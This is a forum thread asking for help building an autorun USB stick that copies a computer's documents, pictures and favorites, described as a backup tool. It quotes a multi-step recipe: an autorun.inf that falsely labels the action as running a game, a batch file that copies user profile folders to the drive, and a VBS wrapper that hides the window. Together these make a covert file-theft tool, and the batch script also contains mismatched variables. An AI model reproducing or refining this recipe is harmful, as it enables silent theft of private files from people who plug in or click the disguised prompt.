shell-scripting @ DaniWeb - Hello fellow members, I would like to ask for your assistance in creating a batch/autorun/exe file which can help me to make an autorun usb.

So basically, I would like the USB to do the following:

When usb is inserted, it should autorun and copy files from the computer. The files which I would like to be copied would be, my documents, pictures, favorites, etc. In other words, the part of the C: Drive which the user has editied. (MOSTLY THE DOCUMENTS). I would find this useful, as when backup is needed for any of my computers I could just plug in my usb, and it will do all the work for me. This program is intended for educational purposes only, and any illegal use of it will not be permissive. Also, anyone who posts will not be held accountable if so were to happen.

ANY HELP IS GREATLY APPRECIATED, THANKS IN ADVANCE!!!

I have found this, but unsure whether this would work properly, I believe it has some errors.

Step 1:

Insert USB

Step 2:

[autorun]
icon=drive.ico
open=launch.bat
action=Click ok to Run game for Windows
shell\open\command=launch.bat

When finished Save As.. and name file autorun change
the extention to .inf

Step 3:

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off
cls

Save as.. and name file change extention to .bat

Step 4:

CreateObject("Wscript.Shell").Run """" &
WScript.Arguments(0) & """", 0, False

save as.. and name invisible change the extension to .vbs

Step 5:

wscript.exe \invisible.vbs file.bat

Save as.. "launch" change extension to .bat


THANKS!

This may work but i don't understand step:4...
rather than using this irritating batch files use Auto USB Copy software.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.